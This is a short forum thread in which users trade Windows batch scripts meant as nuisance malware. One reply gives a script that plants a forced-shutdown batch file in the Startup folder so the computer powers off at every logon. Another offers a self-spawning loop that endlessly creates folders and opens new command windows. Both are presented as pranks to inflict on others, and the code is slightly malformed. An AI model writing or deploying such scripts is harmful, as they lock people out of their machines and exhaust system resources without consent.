Simple batch/cmd question

Is it possible say… I make a batch and it has

move shutdownloop.bat c:\appdata, etc etc\StartUp\

could I then have it run the


for instant shudtown on start up?

Yes, you could for example use this:

if not exist “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\shutdown.bat” (
echo shutdown -s -f -t 0 > “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\shutdown.bat”
shutdown -s -f -t 0

This will simply check if “shutdown.bat” inside the Startup Folder exists, if not, it will create the file.

This will create an instant shutdown on logon. (You can bypass this by booting into safe mode or logging in as another user)

1 Like

interesting , I thought batch files would only be allowed to move not create.

well shoot i’m sure they would get around it easy but I don’t want to mess around and write a full blown virus-esc file in c or java/json. Was looking to make more of an annoyance.

if you want annoyance try fck.bat

@ echo off
mkdir %random%
start fck.bat
goto a

probably the simplest and most annoying batch script in the world . the extra start is to pop up block the working cmd terminal when you try to close it. also it’s more annoying.